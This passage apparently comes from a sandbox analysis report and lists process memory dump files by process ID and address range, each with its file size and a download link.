memory/2928-947-0x00007FF799840000-0x00007FF799C36000-memory.dmp

Filesize
4.0MB

Download
memory/2996-2261-0x00007FF6F3820000-0x00007FF6F3C16000-memory.dmp

Filesize
4.0MB

Download
memory/2996-974-0x00007FF6F3820000-0x00007FF6F3C16000-memory.dmp

Filesize
4.0MB

Download
memory/3000-2255-0x00007FF670E60000-0x00007FF671256000-memory.dmp

Filesize
4.0MB

Download
memory/3000-960-0x00007FF670E60000-0x00007FF671256000-memory.dmp

Filesize
4.0MB

Download
memory/3008-1006-0x0000026DF4DF0000-0x0000026DF5596000-memory.dmp

Filesize
7.6MB

Download
memory/3008-50-0x0000026DF4170000-0x0000026DF4192000-memory.dmp

Filesize
136KB

Download
memory/3008-1782-0x00007FFD64DC3000-0x00007FFD64DC5000-memory.dmp

Filesize
8KB

Download
memory/3008-1833-0x00007FFD64DC0000-0x00007FFD65881000-memory.dmp

Filesize
10.8MB

Download
memory/3008-1740-0x00007FFD64DC0000-0x00007FFD65881000-memory.dmp

Filesize
10.8MB

Download
memory/3008-1732-0x00007FFD64DC0000-0x00007FFD65881000-memory.dmp

Filesize
10.8MB

Download
memory/3008-5-0x00007FFD64DC3000-0x00007FFD64DC5000-memory.dmp

Filesize
8KB

Download
memory/3008-25-0x00007FFD64DC0000-0x00007FFD65881000-memory.dmp

Filesize
10.8MB

Download
memory/3008-30-0x00007FFD64DC0000-0x00007FFD65881000-memory.dmp

Filesize
10.8MB

Download
memory/3484-988-0x00007FF7CAD60000-0x00007FF7CB156000-memory.dmp

Filesize
4.0MB

Download
memory/3484-2264-0x00007FF7CAD60000-0x00007FF7CB156000-memory.dmp

Filesize
4.0MB

Download
memory/3688-997-0x00007FF6EE840000-0x00007FF6EEC36000-memory.dmp

Filesize
4.0MB

Download
memory/3688-2268-0x00007FF6EE840000-0x00007FF6EEC36000-memory.dmp

Filesize
4.0MB

Download
memory/4064-2249-0x00007FF67FCB0000-0x00007FF6800A6000-memory.dmp

Filesize
4.0MB

Download
memory/4064-1035-0x00007FF67FCB0000-0x00007FF6800A6000-memory.dmp

Filesize
4.0MB

Download
memory/4372-1041-0x00007FF76DBD0000-0x00007FF76DFC6000-memory.dmp

Filesize
4.0MB

Download
memory/4372-2257-0x00007FF76DBD0000-0x00007FF76DFC6000-memory.dmp

Filesize
4.0MB

Download
memory/4444-1008-0x00007FF7575D0000-0x00007FF7579C6000-memory.dmp

Filesize
4.0MB

Download
memory/4444-2266-0x00007FF7575D0000-0x00007FF7579C6000-memory.dmp

Filesize
4.0MB

Download
memory/4624-49-0x00007FF760E30000-0x00007FF761226000-memory.dmp

Filesize
4.0MB

Download
memory/4624-2248-0x00007FF760E30000-0x00007FF761226000-memory.dmp

Filesize
4.0MB

Download
memory/5052-1030-0x00007FF756530000-0x00007FF756926000-memory.dmp

Filesize
4.0MB

Download
memory/5052-2263-0x00007FF756530000-0x00007FF756926000-memory.dmp

Filesize
4.0MB

Download
memory/5084-2250-0x00007FF7F9C70000-0x00007FF7FA066000-memory.dmp

Filesize
4.0MB

Download
memory/5084-937-0x00007FF7F9C70000-0x00007FF7FA066000-memory.dmp

Filesize
4.0MB

Download